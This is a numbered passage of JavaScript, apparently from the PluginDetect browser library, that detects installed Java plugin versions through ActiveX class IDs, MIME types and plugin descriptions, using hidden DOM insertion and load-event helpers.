  1404.                             if (d && f.compareNums(c, g ? d : h.Lower[b]) >= 0 && (!b || f.compareNums(c, g ? e.convert_(h, b, h.Upper[b]) : h.Upper[b]) < 0)) {
  1405.                                 a.v = e.convert_(h, b, c, g);
  1406.                                 a.x = b;
  1407.                                 break
  1408.                             }
  1409.                         }
  1410.                     }
  1411.                     return a
  1412.                 },
  1413.                 isMin: function (g, f) {
  1414.                     var d = this,
  1415.                         e = g.$,
  1416.                         c, b, a = 0;
  1417.                     d.init(g);
  1418.                     return a
  1419.                 },
  1420.                 search: function (g) {
  1421.                     var k = this,
  1422.                         h = k.$,
  1423.                         i = g.$$,
  1424.                         b = 0,
  1425.                         c;
  1426.                     k.init(g);
  1427.                     c = (g.hasRun || k.isDisabled()) ? 1 : 0;
  1428.                     g.hasRun = 1;
  1429.                     if (c) {
  1430.                         return g.version
  1431.                     };
  1432.                     var o, n, m, j = function (q, t) {
  1433.                             var r = [].concat(f),
  1434.                                 s;
  1435.                             r[q] = t;
  1436.                             s = k.isActiveXObject(g, r.join(","));
  1437.                             if (s) {
  1438.                                 b = 1;
  1439.                                 f[q] = t
  1440.                             } else {
  1441.                                 p[q] = t
  1442.                             }
  1443.                             return s
  1444.                         }, d = g.DIGITMAX,
  1445.                         e, a, l = 99999999,
  1446.                         f = [0, 0, 0, 0],
  1447.                         p = [0, 0, 0, 0];
  1448.                     for (o = 0; o < p.length; o++) {
  1449.                         f[o] = Math.floor(g.DIGITMIN[o]) || 0;
  1450.                         e = f.join(",");
  1451.                         a = f.slice(0, o).concat([l, l, l, l]).slice(0, f.length).join(",");
  1452.                         for (m = 0; m < d.length; m++) {
  1453.                             if (h.isArray(d[m])) {
  1454.                                 d[m].push(0);
  1455.                                 if (d[m][o] > p[o] && h.compareNums(a, g.Lower[m]) >= 0 && h.compareNums(e, g.Upper[m]) < 0) {
  1456.                                     p[o] = Math.floor(d[m][o])
  1457.                                 }
  1458.                             }
  1459.                         }
  1460.                         for (n = 0; n < 30; n++) {
  1461.                             if (p[o] - f[o] <= 16) {
  1462.                                 for (m = p[o]; m >= f[o] + (o ? 1 : 0); m--) {
  1463.                                     if (j(o, m)) {
  1464.                                         break
  1465.                                     }
  1466.                                 }
  1467.                                 break
  1468.                             }
  1469.                             j(o, Math.round((p[o] + f[o]) / 2))
  1470.                         }
  1471.                         if (!b) {
  1472.                             break
  1473.                         }
  1474.                         p[o] = f[o]
  1475.                     }
  1476.                     if (b) {
  1477.                         g.version = k.convert(g, f.join(",")).v
  1478.                     };
  1479.                     return g.version
  1480.                 }
  1481.             },
  1482.             win: {
  1483.                 $: 1,
  1484.                 loaded: false,
  1485.                 hasRun: 0,
  1486.                 init: function () {
  1487.                     var b = this,
  1488.                         a = b.$;
  1489.                     if (!b.hasRun) {
  1490.                         b.hasRun = 1;
  1491.                         b.addEvent("load", a.ev.handler(b.runFuncs, a));
  1492.                         b.addEvent("unload", a.ev.handler(b.cleanup, a))
  1493.                     }
  1494.                 },
  1495.                 addEvent: function (c, b) {
  1496.                     var e = this,
  1497.                         d = e.$,
  1498.                         a = window;
  1499.                     if (d.isFunc(b)) {
  1500.                         if (a.addEventListener) {
  1501.                             a.addEventListener(c, b, false)
  1502.                         } else {
  1503.                             if (a.attachEvent) {
  1504.                                 a.attachEvent("on" + c, b)
  1505.                             } else {
  1506.                                 a["on" + c] = e.concatFn(b, a["on" + c])
  1507.                             }
  1508.                         }
  1509.                     }
  1510.                 },
  1511.                 concatFn: function (d, c) {
  1512.                     return function () {
  1513.                         d();
  1514.                         if (typeof c == "function") {
  1515.                             c()
  1516.                         }
  1517.                     }
  1518.                 },
  1519.                 funcs0: [],
  1520.                 funcs: [],
  1521.                 cleanup: function (b) {
  1522.                     if (b) {
  1523.                         for (var a in b) {
  1524.                             b[a] = 0
  1525.                         }
  1526.                         b = 0
  1527.                     }
  1528.                 },
  1529.                 runFuncs: function (a) {
  1530.                     if (a && !a.win.loaded) {
  1531.                         a.win.loaded = true;
  1532.                         a.ev.callArray(a.win.funcs0);
  1533.                         a.ev.callArray(a.win.funcs);
  1534.                         if (a.DOM) {
  1535.                             a.DOM.onDoneEmptyDiv()
  1536.                         }
  1537.                     }
  1538.                 },
  1539.                 z: 0
  1540.             },
  1541.             DOM: {
  1542.                 $: 1,
  1543.                 isEnabled: {
  1544.                     $: 1,
  1545.                     objectTag: function () {
  1546.                         var a = this.$;
  1547.                         return a.isIE ? a.ActiveXEnabled : 1
  1548.                     },
  1549.                     objectProperty: function () {
  1550.                         var a = this.$;
  1551.                         return a.isIE && a.verIE >= 7 ? 1 : 0
  1552.                     }
  1553.                 },
  1554.                 div: null,
  1555.                 divID: "plugindetect",
  1556.                 divClass: "doNotRemove",
  1557.                 divWidth: 50,
  1558.                 getDiv: function () {
  1559.                     var a = this;
  1560.                     return a.div || document.getElementById(a.divID) || null
  1561.                 },
  1562.                 isDivPermanent: function () {
  1563.                     var b = this,
  1564.                         c = b.$,
  1565.                         a = b.getDiv();
  1566.                     return a && c.isString(a.className) && a.className.toLowerCase().indexOf(b.divClass.toLowerCase()) > -1 ? 1 : 0
  1567.                 },
  1568.                 initDiv: function (b) {
  1569.                     var c = this,
  1570.                         d = c.$,
  1571.                         a;
  1572.                     if (!c.div) {
  1573.                         a = c.getDiv();
  1574.                         if (a) {
  1575.                             c.div = a
  1576.                         } else {
  1577.                             if (b) {
  1578.                                 c.div = document.createElement("div");
  1579.                                 c.div.id = c.divID
  1580.                             }
  1581.                         } if (c.div) {
  1582.                             c.setStyle(c.div, c.defaultStyle.concat(["display", "block", "width", c.divWidth + "px", "height", (c.pluginSize + 3) + "px", "fontSize", (c.pluginSize + 3) + "px", "lineHeight", (c.pluginSize + 3) + "px"]));
  1583.                             if (!a) {
  1584.                                 c.setStyle(c.div, ["position", "absolute", "right", "0px", "top", "0px"]);
  1585.                                 c.insertDivInBody(c.div)
  1586.                             }
  1587.                         }
  1588.                     }
  1589.                 },
  1590.                 pluginSize: 1,
  1591.                 altHTML: "&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;",
  1592.                 emptyNode: function (c) {
  1593.                     var b = this,
  1594.                         d = b.$,
  1595.                         a, f;
  1596.                     if (c && c.childNodes) {
  1597.                         for (a = c.childNodes.length - 1; a >= 0; a--) {
  1598.                             if (d.isIE) {
  1599.                                 b.setStyle(c.childNodes[a], ["display", "none"])
  1600.                             }
  1601.                             c.removeChild(c.childNodes[a])
  1602.                         }
  1603.                     }
  1604.                 },
  1605.                 LASTfuncs: [],
  1606.                 onDoneEmptyDiv: function () {
  1607.                     var f = this,
  1608.                         g = f.$,
  1609.                         b, d, c, a, h;
  1610.                     f.initDiv();
  1611.                     if (!g.win.loaded || g.win.funcs0.length || g.win.funcs.length) {
  1612.                         return
  1613.                     }
  1614.                     for (b in g.Plugins) {
  1615.                         d = g.Plugins[b];
  1616.                         if (d) {
  1617.                             if (d.OTF == 3 || (d.funcs && d.funcs.length)) {
  1618.                                 return
  1619.                             }
  1620.                         }
  1621.                     }
  1622.                     g.ev.callArray(f.LASTfuncs);
  1623.                     a = f.getDiv();
  1624.                     if (a) {
  1625.                         if (f.isDivPermanent()) {} else {
  1626.                             if (a.childNodes) {
  1627.                                 for (b = a.childNodes.length - 1; b >= 0; b--) {
  1628.                                     c = a.childNodes[b];
  1629.                                     f.emptyNode(c)
  1630.                                 }
  1631.                                 try {
  1632.                                     a.innerHTML = ""
  1633.                                 } catch (h) {}
  1634.                             }
  1635.                             if (a.parentNode) {
  1636.                                 try {
  1637.                                     a.parentNode.removeChild(a)
  1638.                                 } catch (h) {}
  1639.                                 a = null;
  1640.                                 f.div = null
  1641.                             }
  1642.                         }
  1643.                     }
  1644.                 },
  1645.                 width: function () {
  1646.                     var g = this,
  1647.                         e = g.DOM,
  1648.                         f = e.$,
  1649.                         d = g.span,
  1650.                         b, c, a = -1;
  1651.                     b = d && f.isNum(d.scrollWidth) ? d.scrollWidth : a;
  1652.                     c = d && f.isNum(d.offsetWidth) ? d.offsetWidth : a;
  1653.                     return c > 0 ? c : (b > 0 ? b : Math.max(c, b))
  1654.                 },
  1655.                 obj: function (b) {
  1656.                     var d = this,
  1657.                         c = d.span,
  1658.                         a = c && c.firstChild ? c.firstChild : null;
  1659.                     return a
  1660.                 },
  1661.                 readyState: function () {
  1662.                     var b = this,
  1663.                         a = b.DOM.$;
  1664.                     return a.isIE ? a.getPROP(b.obj(), "readyState") : b.undefined
  1665.                 },
  1666.                 objectProperty: function () {
  1667.                     var d = this,
  1668.                         b = d.DOM,
  1669.                         c = b.$,
  1670.                         a;
  1671.                     if (b.isEnabled.objectProperty()) {
  1672.                         a = c.getPROP(d.obj(), "object")
  1673.                     }
  1674.                     return a
  1675.                 },
  1676.                 getTagStatus: function (b, m, r, p, f, h) {
  1677.                     var s = this,
  1678.                         d = s.$,
  1679.                         q;
  1680.                     if (!b || !b.span) {
  1681.                         return -2
  1682.                     }
  1683.                     var k = b.width(),
  1684.                         c = b.readyState(),
  1685.                         a = b.objectProperty();
  1686.                     if (a) {
  1687.                         return 1.5
  1688.                     }
  1689.                     var g = /clsid\s*\:/i,
  1690.                         o = r && g.test(r.outerHTML || "") ? r : (p && g.test(p.outerHTML || "") ? p : 0),
  1691.                         i = r && !g.test(r.outerHTML || "") ? r : (p && !g.test(p.outerHTML || "") ? p : 0),
  1692.                         l = b && g.test(b.outerHTML || "") ? o : i;
  1693.                     if (!m || !m.span || !l || !l.span) {
  1694.                         return 0
  1695.                     }
  1696.                     var j = l.width(),
  1697.                         n = m.width(),
  1698.                         t = l.readyState();
  1699.                     if (k < 0 || j < 0 || n <= s.pluginSize) {
  1700.                         return 0
  1701.                     }
  1702.                     if (h && !b.pi && d.isDefined(a) && d.isIE && b.tagName == l.tagName && b.time <= l.time && k === j && c === 0 && t !== 0) {
  1703.                         b.pi = 1
  1704.                     }
  1705.                     if (j < n) {
  1706.                         return b.pi ? -0.1 : 0
  1707.                     }
  1708.                     if (k >= n) {
  1709.                         if (!b.winLoaded && d.win.loaded) {
  1710.                             return b.pi ? -0.5 : -1
  1711.                         }
  1712.                         if (d.isNum(f)) {
  1713.                             if (!d.isNum(b.count2)) {
  1714.                                 b.count2 = f
  1715.                             }
  1716.                             if (f - b.count2 > 0) {
  1717.                                 return b.pi ? -0.5 : -1
  1718.                             }
  1719.                         }
  1720.                     }
  1721.                     try {
  1722.                         if (k == s.pluginSize && (!d.isIE || c === 4)) {
  1723.                             if (!b.winLoaded && d.win.loaded) {
  1724.                                 return 1
  1725.                             }
  1726.                             if (b.winLoaded && d.isNum(f)) {
  1727.                                 if (!d.isNum(b.count)) {
  1728.                                     b.count = f
  1729.                                 }
  1730.                                 if (f - b.count >= 5) {
  1731.                                     return 1
  1732.                                 }
  1733.                             }
  1734.                         }
  1735.                     } catch (q) {}
  1736.                     return b.pi ? -0.1 : 0
  1737.                 },
  1738.                 setStyle: function (b, h) {
  1739.                     var c = this,
  1740.                         d = c.$,
  1741.                         g = b.style,
  1742.                         a, f;
  1743.                     if (g && h) {
  1744.                         for (a = 0; a < h.length; a = a + 2) {
  1745.                             try {
  1746.                                 g[h[a]] = h[a + 1]
  1747.                             } catch (f) {}
  1748.                         }
  1749.                     }
  1750.                 },
  1751.                 insertDivInBody: function (a, h) {
  1752.                     var j = this,
  1753.                         d = j.$,
  1754.                         g, b = "pd33993399",
  1755.                         c = null,
  1756.                         i = h ? window.top.document : window.document,
  1757.                         f = i.getElementsByTagName("body")[0] || i.body;
  1758.                     if (!f) {
  1759.                         try {
  1760.                             i.write('<div id="' + b + '">.' + d.openTag + "/div>");
  1761.                             c = i.getElementById(b)
  1762.                         } catch (g) {}
  1763.                     }
  1764.                     f = i.getElementsByTagName("body")[0] || i.body;
  1765.                     if (f) {
  1766.                         f.insertBefore(a, f.firstChild);
  1767.                         if (c) {
  1768.                             f.removeChild(c)
  1769.                         }
  1770.                     }
  1771.                 },
  1772.                 defaultStyle: ["verticalAlign", "baseline", "outlineStyle", "none", "borderStyle", "none", "padding", "0px", "margin", "0px", "visibility", "visible"],
  1773.                 insert: function (b, i, g, h, c, q, o) {
  1774.                     var s = this,
  1775.                         f = s.$,
  1776.                         r, t = document,
  1777.                         v, m, p = t.createElement("span"),
  1778.                         k, a, l = "outline-style:none;border-style:none;padding:0px;margin:0px;visibility:" + (q ? "hidden;" : "visible;") + "display:inline;";
  1779.                     if (!f.isDefined(h)) {
  1780.                         h = ""
  1781.                     }
  1782.                     if (f.isString(b) && (/[^\s]/).test(b)) {
  1783.                         b = b.toLowerCase().replace(/\s/g, "");
  1784.                         v = f.openTag + b + " ";
  1785.                         v += 'style="' + l + '" ';
  1786.                         var j = 1,
  1787.                             u = 1;
  1788.                         for (k = 0; k < i.length; k = k + 2) {
  1789.                             if (/[^\s]/.test(i[k + 1])) {
  1790.                                 v += i[k] + '="' + i[k + 1] + '" '
  1791.                             }
  1792.                             if ((/width/i).test(i[k])) {
  1793.                                 j = 0
  1794.                             }
  1795.                             if ((/height/i).test(i[k])) {
  1796.                                 u = 0
  1797.                             }
  1798.                         }
  1799.                         v += (j ? 'width="' + s.pluginSize + '" ' : "") + (u ? 'height="' + s.pluginSize + '" ' : "");
  1800.                         v += ">";
  1801.                         for (k = 0; k < g.length; k = k + 2) {
  1802.                             if (/[^\s]/.test(g[k + 1])) {
  1803.                                 v += f.openTag + 'param name="' + g[k] + '" value="' + g[k + 1] + '" />'
  1804.                             }
  1805.                         }
  1806.                         v += h + f.openTag + "/" + b + ">"
  1807.                     } else {
  1808.                         b = "";
  1809.                         v = h
  1810.                     } if (!o) {
  1811.                         s.initDiv(1)
  1812.                     }
  1813.                     var n = o || s.getDiv();
  1814.                     m = {
  1815.                         span: null,
  1816.                         winLoaded: f.win.loaded,
  1817.                         tagName: b,
  1818.                         outerHTML: v,
  1819.                         DOM: s,
  1820.                         time: new Date().getTime(),
  1821.                         width: s.width,
  1822.                         obj: s.obj,
  1823.                         readyState: s.readyState,
  1824.                         objectProperty: s.objectProperty
  1825.                     };
  1826.                     if (n && n.parentNode) {
  1827.                         s.setStyle(p, s.defaultStyle.concat(["display", "inline"]).concat(o ? [] : ["fontSize", (s.pluginSize + 3) + "px", "lineHeight", (s.pluginSize + 3) + "px"]));
  1828.                         n.appendChild(p);
  1829.                         try {
  1830.                             p.innerHTML = v
  1831.                         } catch (r) {};
  1832.                         m.span = p;
  1833.                         m.winLoaded = f.win.loaded
  1834.                     }
  1835.                     return m
  1836.                 }
  1837.             },
  1838.             file: {
  1839.                 $: 1,
  1840.                 any: "fileStorageAny999",
  1841.                 valid: "fileStorageValid999",
  1842.                 save: function (d, f, c) {
  1843.                     var b = this,
  1844.                         e = b.$,
  1845.                         a;
  1846.                     if (d && e.isDefined(c)) {
  1847.                         if (!d[b.any]) {
  1848.                             d[b.any] = []
  1849.                         }
  1850.                         if (!d[b.valid]) {
  1851.                             d[b.valid] = []
  1852.                         }
  1853.                         d[b.any].push(c);
  1854.                         a = b.split(f, c);
  1855.                         if (a) {
  1856.                             d[b.valid].push(a)
  1857.                         }
  1858.                     }
  1859.                 },
  1860.                 getValidLength: function (a) {
  1861.                     return a && a[this.valid] ? a[this.valid].length : 0
  1862.                 },
  1863.                 getAnyLength: function (a) {
  1864.                     return a && a[this.any] ? a[this.any].length : 0
  1865.                 },
  1866.                 getValid: function (c, a) {
  1867.                     var b = this;
  1868.                     return c && c[b.valid] ? b.get(c[b.valid], a) : null
  1869.                 },
  1870.                 getAny: function (c, a) {
  1871.                     var b = this;
  1872.                     return c && c[b.any] ? b.get(c[b.any], a) : null
  1873.                 },
  1874.                 get: function (d, a) {
  1875.                     var c = d.length - 1,
  1876.                         b = this.$.isNum(a) ? a : c;
  1877.                     return (b < 0 || b > c) ? null : d[b]
  1878.                 },
  1879.                 split: function (g, c) {
  1880.                     var b = this,
  1881.                         e = b.$,
  1882.                         f = null,
  1883.                         a, d;
  1884.                     g = g ? g.replace(".", "\\.") : "";
  1885.                     d = new RegExp("^(.*[^\\/])(" + g + "\\s*)$");
  1886.                     if (e.isString(c) && d.test(c)) {
  1887.                         a = (RegExp.$1).split("/");
  1888.                         f = {
  1889.                             name: a[a.length - 1],
  1890.                             ext: RegExp.$2,
  1891.                             full: c
  1892.                         };
  1893.                         a[a.length - 1] = "";
  1894.                         f.path = a.join("/")
  1895.                     }
  1896.                     return f
  1897.                 },
  1898.                 z: 0
  1899.             },
  1900.             Plugins: {
  1901.                 java: {
  1902.                     $: 1,
  1903.                     mimeType: ["application/x-java-applet", "application/x-java-vm", "application/x-java-bean"],
  1904.                     mimeType_dummy: "application/dummymimejavaapplet",
  1905.                     classID: "clsid:8AD9C840-044E-11D1-B3E9-00805F499D93",
  1906.                     classID_dummy: "clsid:8AD9C840-044E-11D1-B3E9-BA9876543210",
  1907.                     navigator: {
  1908.                         $: 1,
  1909.                         a: (function () {
  1910.                             var b, a = !0;
  1911.                             try {
  1912.                                 a = window.navigator.javaEnabled()
  1913.                             } catch (b) {}
  1914.                             return a
  1915.                         })(),
  1916.                         javaEnabled: function () {
  1917.                             return this.a
  1918.                         },
  1919.                         mimeObj: 0,
  1920.                         pluginObj: 0
  1921.                     },
  1922.                     OTF: null,
  1923.                     getVerifyTagsDefault: function () {
  1924.                         return [1, this.applet.isDisabled.VerifyTagsDefault_1() ? 0 : 1, 1]
  1925.                     },
  1926.                     getVersion: function (j, g, i) {
  1927.                         var b = this,
  1928.                             d = b.$,
  1929.                             e, a = b.applet,
  1930.                             h = b.verify,
  1931.                             k = b.navigator,
  1932.                             f = null,
  1933.                             l = null,
  1934.                             c = null;
  1935.                         if (b.getVersionDone === null) {
  1936.                             b.OTF = 0;
  1937.                             k.mimeObj = d.hasMimeType(b.mimeType);
  1938.                             if (k.mimeObj) {
  1939.                                 k.pluginObj = k.mimeObj.enabledPlugin
  1940.                             }
  1941.                             if (h) {
  1942.                                 h.begin()
  1943.                             }
  1944.                         }
  1945.                         a.setVerifyTagsArray(i);
  1946.                         d.file.save(b, ".jar", g);
  1947.                         if (b.getVersionDone === 0) {
  1948.                             if (a.should_Insert_Query_Any()) {
  1949.                                 e = a.insert_Query_Any(j);
  1950.                                 b.setPluginStatus(e[0], e[1], f, j)
  1951.                             }
  1952.                             return
  1953.                         }
  1954.                         if ((!f || d.dbug) && b.navMime.query().version) {
  1955.                             f = b.navMime.version
  1956.                         }
  1957.                         if ((!f || d.dbug) && b.DTK.query(d.dbug).version) {
  1958.                             f = b.DTK.version
  1959.                         }
  1960.                         if ((!f || d.dbug) && b.navPlugin.query().version) {
  1961.                             f = b.navPlugin.version
  1962.                         }
  1963.                         if (b.nonAppletDetectionOk(f)) {
  1964.                             c = f
  1965.                         }
  1966.                         b.setPluginStatus(c, l, f, j);
  1967.                         if (a.should_Insert_Query_Any()) {
  1968.                             e = a.insert_Query_Any(j);
  1969.                             if (e[0]) {
  1970.                                 c = e[0];
  1971.                                 l = e[1]
  1972.                             }
  1973.                         }
  1974.                         b.setPluginStatus(c, l, f, j)
  1975.                     },
  1976.                     nonAppletDetectionOk: function (b) {
  1977.                         var d = this,
  1978.                             e = d.$,
  1979.                             a = d.navigator,
  1980.                             c = 1;
  1981.                         if (!b || !a.javaEnabled() || (!e.isIE && !a.mimeObj) || (e.isIE && !e.ActiveXEnabled)) {
  1982.                             c = 0
  1983.                         } else {
  1984.                             if (e.OS >= 20) {} else {
  1985.                                 if (d.info && d.info.getPlugin2Status() < 0 && d.info.BrowserRequiresPlugin2()) {
  1986.                                     c = 0
  1987.                                 }
  1988.                             }
  1989.                         }
  1990.                         return c
  1991.                     },
  1992.                     setPluginStatus: function (d, i, g, h) {
  1993.                         var b = this,
  1994.                             e = b.$,
  1995.                             f, c = 0,
  1996.                             a = b.applet;
  1997.                         g = g || b.version0;
  1998.                         f = a.isRange(d);
  1999.                         if (f) {
  2000.                             if (a.setRange(f, h) == d) {
  2001.                                 c = f
  2002.                             }
  2003.                             d = 0
  2004.                         }
  2005.                         if (b.OTF < 3) {
  2006.                             b.installed = c ? (c > 0 ? 0.7 : -0.1) : (d ? 1 : (g ? -0.2 : -1))
  2007.                         }
  2008.                         if (b.OTF == 2 && b.NOTF && !b.applet.getResult()[0]) {
  2009.                             b.installed = g ? -0.2 : -1
  2010.                         }
  2011.                         if (b.OTF == 3 && b.installed != -0.5 && b.installed != 0.5) {
  2012.                             b.installed = (b.NOTF.isJavaActive(1) == 1 ? 0.5 : -0.5)
  2013.                         }
  2014.                         if (b.OTF == 4 && (b.installed == -0.5 || b.installed == 0.5)) {
  2015.                             if (d) {
  2016.                                 b.installed = 1
  2017.                             } else {
  2018.                                 if (c) {
  2019.                                     b.installed = c > 0 ? 0.7 : -0.1
  2020.                                 } else {
  2021.                                     if (b.NOTF.isJavaActive(1) == 1) {
  2022.                                         if (g) {
  2023.                                             b.installed = 1;
  2024.                                             d = g
  2025.                                         } else {
  2026.                                             b.installed = 0
  2027.                                         }
  2028.                                     } else {
  2029.                                         if (g) {
  2030.                                             b.installed = -0.2
  2031.                                         } else {
  2032.                                             b.installed = -1
  2033.                                         }
  2034.                                     }
  2035.                                 }
  2036.                             }
  2037.                         }
  2038.                         if (g) {
  2039.                             b.version0 = e.formatNum(e.getNum(g))
  2040.                         }
  2041.                         if (d && !c) {
  2042.                             b.version = e.formatNum(e.getNum(d))
  2043.                         }
  2044.                         if (i && e.isString(i)) {
  2045.                             b.vendor = i
  2046.                         }
  2047.                         if (!b.vendor) {
  2048.                             b.vendor = ""
  2049.                         }
  2050.                         if (b.verify && b.verify.isEnabled()) {
  2051.                             b.getVersionDone = 0
  2052.                         } else {
  2053.                             if (b.getVersionDone != 1) {
  2054.                                 if (b.OTF < 2) {
  2055.                                     b.getVersionDone = 0
  2056.                                 } else {
  2057.                                     b.getVersionDone = b.applet.can_Insert_Query_Any() ? 0 : 1
  2058.                                 }
  2059.                             }
  2060.                         };
  2061.                         e.codebase.emptyGarbage()
  2062.                     },
  2063.                     DTK: {
  2064.                         $: 1,
  2065.                         hasRun: 0,
  2066.                         status: null,
  2067.                         VERSIONS: [],
  2068.                         version: "",
  2069.                         HTML: null,
  2070.                         Plugin2Status: null,
  2071.                         classID: ["clsid:CAFEEFAC-DEC7-0000-0001-ABCDEFFEDCBA", "clsid:CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA"],
  2072.                         mimeType: ["application/java-deployment-toolkit", "application/npruntime-scriptable-plugin;DeploymentToolkit"],
  2073.                         isDisabled: function (a) {
  2074.                             var b = this,
  2075.                                 c = b.$;
  2076.                             if (!a && (!c.DOM.isEnabled.objectTag() || (c.isIE && c.verIE < 6) || (c.isGecko && c.compareNums(c.verGecko, c.formatNum("1.6")) <= 0) || (c.isSafari && c.OS == 1 && (!c.verSafari || c.compareNums(c.verSafari, "5,1,0,0") < 0)) || c.isChrome)) {
  2077.                                 return 1
  2078.                             }
  2079.                             return 0
  2080.                         },
  2081.                         query: function (n) {
  2082.                             var l = this,
  2083.                                 h = l.$,
  2084.                                 f = l.$$,
  2085.                                 k, m, i, a = h.DOM.altHTML,
  2086.                                 g = {}, b, d = null,
  2087.                                 j = null,
  2088.                                 c = (l.hasRun || l.isDisabled(n));
  2089.                             l.hasRun = 1;
  2090.                             if (c) {
  2091.                                 return l
  2092.                             }
  2093.                             l.status = 0;
  2094.                             if (h.isIE) {
  2095.                                 for (m = 0; m < l.classID.length; m++) {
  2096.                                     l.HTML = h.DOM.insert("object", ["classid", l.classID[m]], [], a);
  2097.                                     d = l.HTML.obj();
  2098.                                     if (h.getPROP(d, "jvms")) {
  2099.                                         break
  2100.                                     }
  2101.                                 }
  2102.                             } else {
  2103.                                 i = h.hasMimeType(l.mimeType);
  2104.                                 if (i && i.type) {
  2105.                                     l.HTML = h.DOM.insert("object", ["type", i.type], [], a);
  2106.                                     d = l.HTML.obj()
  2107.                                 }
  2108.                             } if (d) {
  2109.                                 try {
  2110.                                     b = h.getPROP(d, "jvms");
  2111.                                     if (b) {
  2112.                                         j = b.getLength();
  2113.                                         if (h.isNum(j)) {
  2114.                                             l.status = j > 0 ? 1 : -1;
  2115.                                             for (m = 0; m < j; m++) {
  2116.                                                 i = h.getNum(b.get(j - 1 - m).version);
  2117.                                                 if (i) {
  2118.                                                     l.VERSIONS.push(i);
  2119.                                                     g["a" + h.formatNum(i)] = 1
  2120.                                                 }
  2121.                                             }
  2122.                                         }
  2123.                                     }
  2124.                                 } catch (k) {}
  2125.                             }
  2126.                             i = 0;
  2127.                             for (m in g) {
  2128.                                 i++
  2129.                             }
  2130.                             if (i && i !== l.VERSIONS.length) {
  2131.                                 l.VERSIONS = []
  2132.                             }
  2133.                             if (l.VERSIONS.length) {
  2134.                                 l.version = h.formatNum(l.VERSIONS[0])
  2135.                             };
  2136.                             return l
  2137.                         }
  2138.                     },
  2139.                     navMime: {
  2140.                         $: 1,
  2141.                         hasRun: 0,
  2142.                         mimetype: "",
  2143.                         version: "",
  2144.                         length: 0,
  2145.                         mimeObj: 0,
  2146.                         pluginObj: 0,
  2147.                         isDisabled: function () {
  2148.                             var b = this,
  2149.                                 d = b.$,
  2150.                                 c = b.$$,
  2151.                                 a = c.navigator;
  2152.                             if (d.isIE || !a.mimeObj || !a.pluginObj) {
  2153.                                 return 1
  2154.                             }
  2155.                             return 0
  2156.                         },
  2157.                         query: function () {
  2158.                             var i = this,
  2159.                                 f = i.$,
  2160.                                 a = i.$$,
  2161.                                 b = (i.hasRun || i.isDisabled());
  2162.                             i.hasRun = 1;
  2163.                             if (b) {
  2164.                                 return i
  2165.                             };
  2166.                             var n = /^\s*application\/x-java-applet;jpi-version\s*=\s*(\d.*)$/i,
  2167.                                 g, l, j, d = "",
  2168.                                 h = "a",
  2169.                                 o, m, k = {}, c = f.formatNum("0");
  2170.                             for (l = 0; l < navigator.mimeTypes.length; l++) {
  2171.                                 o = navigator.mimeTypes[l];
  2172.                                 m = o ? o.enabledPlugin : 0;
  2173.                                 g = o && n.test(o.type || d) ? f.formatNum(f.getNum(RegExp.$1)) : 0;
  2174.                                 if (g && m && (m.description || m.name)) {
  2175.                                     if (!k[h + g]) {
  2176.                                         i.length++
  2177.                                     }
  2178.                                     k[h + g] = o.type;
  2179.                                     if (f.compareNums(g, c) > 0) {
  2180.                                         c = g
  2181.                                     }
  2182.                                 }
  2183.                             }
  2184.                             g = k[h + c];
  2185.                             if (g) {
  2186.                                 o = f.hasMimeType(g);
  2187.                                 i.mimeObj = o;
  2188.                                 i.pluginObj = o ? o.enabledPlugin : 0;
  2189.                                 i.mimetype = g;
  2190.                                 i.version = c
  2191.                             };
  2192.                             return i
  2193.                         }
  2194.                     },
  2195.                     navPlugin: {
  2196.                         $: 1,
  2197.                         hasRun: 0,
  2198.                         version: "",
  2199.                         isDisabled: function () {
  2200.                             var d = this,
  2201.                                 c = d.$,
  2202.                                 b = d.$$,
  2203.                                 a = b.navigator;
  2204.                             if (c.isIE || !a.mimeObj || !a.pluginObj) {
  2205.                                 return 1
  2206.                             }
  2207.                             return 0
  2208.                         },
  2209.                         query: function () {
  2210.                             var m = this,
  2211.                                 e = m.$,
  2212.                                 c = m.$$,
  2213.                                 h = c.navigator,
  2214.                                 j, l, k, g, d, a, i, f = 0,
  2215.                                 b = (m.hasRun || m.isDisabled());
  2216.                             m.hasRun = 1;
  2217.                             if (b) {
  2218.                                 return m
  2219.                             };
  2220.                             a = h.pluginObj.name || "";
  2221.                             i = h.pluginObj.description || "";
  2222.                             if (!f || e.dbug) {
  2223.                                 g = /Java.*TM.*Platform[^\d]*(\d+)(?:[\.,_](\d*))?(?:\s*[Update]+\s*(\d*))?/i;
  2224.                                 if ((g.test(a) || g.test(i)) && parseInt(RegExp.$1, 10) >= 5) {
  2225.                                     f = "1," + RegExp.$1 + "," + (RegExp.$2 ? RegExp.$2 : "0") + "," + (RegExp.$3 ? RegExp.$3 : "0")
  2226.                                 }
  2227.                             }
  2228.                             if (!f || e.dbug) {
  2229.                                 g = /Java[^\d]*Plug-in/i;
  2230.                                 l = g.test(i) ? e.formatNum(e.getNum(i)) : 0;
  2231.                                 k = g.test(a) ? e.formatNum(e.getNum(a)) : 0;
  2232.                                 if (l && (e.compareNums(l, e.formatNum("1,3")) < 0 || e.compareNums(l, e.formatNum("2")) >= 0)) {
  2233.                                     l = 0
  2234.                                 }
  2235.                                 if (k && (e.compareNums(k, e.formatNum("1,3")) < 0 || e.compareNums(k, e.formatNum("2")) >= 0)) {
  2236.                                     k = 0
  2237.                                 }
  2238.                                 d = l && k ? (e.compareNums(l, k) > 0 ? l : k) : (l || k);
  2239.                                 if (d) {
  2240.                                     f = d
  2241.                                 }
  2242.                             }
  2243.                             if (!f && e.isSafari && e.OS == 2) {
  2244.                                 j = e.findNavPlugin("Java.*\\d.*Plug-in.*Cocoa", 0);
  2245.                                 if (j) {
  2246.                                     l = e.getNum(j.description);
  2247.                                     if (l) {
  2248.                                         f = l
  2249.                                     }
  2250.                                 }
  2251.                             };
  2252.                             if (f) {
  2253.                                 m.version = e.formatNum(f)
  2254.                             };
  2255.                             return m
  2256.                         }
  2257.                     },
  2258.                     applet: {
  2259.                         $: 1,
  2260.                         codebase: {
  2261.                             $: 1,
  2262.                             isMin: function (a) {
  2263.                                 return this.$.codebase.isMin(this, a)
  2264.                             },
  2265.                             search: function () {
  2266.                                 return this.$.codebase.search(this)
  2267.                             },
  2268.                             ParamTags: '<param name="code" value="A19999.class" /><param name="codebase_lookup" value="false" />',
  2269.                             DIGITMAX: [
  2270.                                 [16, 64],
  2271.                                 [6, 0, 512], 0, [1, 5, 2, 256], 0, [1, 4, 1, 1],
  2272.                                 [1, 4, 0, 64],
  2273.                                 [1, 3, 2, 32]
  2274.                             ],
